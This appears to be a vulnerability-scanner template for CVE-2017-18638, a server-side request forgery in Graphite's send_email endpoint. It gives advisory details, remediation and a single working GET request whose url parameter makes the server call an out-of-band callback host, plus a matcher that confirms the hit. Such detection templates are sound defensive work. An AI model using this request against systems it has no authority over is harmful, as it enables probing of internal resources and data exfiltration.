id: CVE-2017-18638

info:
  name: Graphite <=1.1.5 - Server-Side Request Forgery
  author: huowuzhao
  severity: high
  description: |
    Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Upgrade to a patched version of Graphite (>=1.1.6) or apply the necessary security patches.
  reference:
    - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
    - https://github.com/graphite-project/graphite-web/issues/2008
    - https://github.com/advisories/GHSA-vfj6-275q-4pvm
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18638
    - https://github.com/graphite-project/graphite-web/pull/2499
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-18638
    cwe-id: CWE-918
    epss-score: 0.00827
    epss-percentile: 0.81931
    cpe: cpe:2.3:a:graphite_project:graphite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: graphite_project
    product: graphite
  tags: cve,cve2017,graphite,ssrf,oast,graphite_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}'

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a00463044022011c180217b9536b09ea7a4bda3c3cef691f4991cc7745e24bcbc145f2c48a4d402203e199d607e0e9c2f662f93b871b45d427c108cf90f0e1e757cdd14853660d674:922c64590222798bb761d5b6d8e72950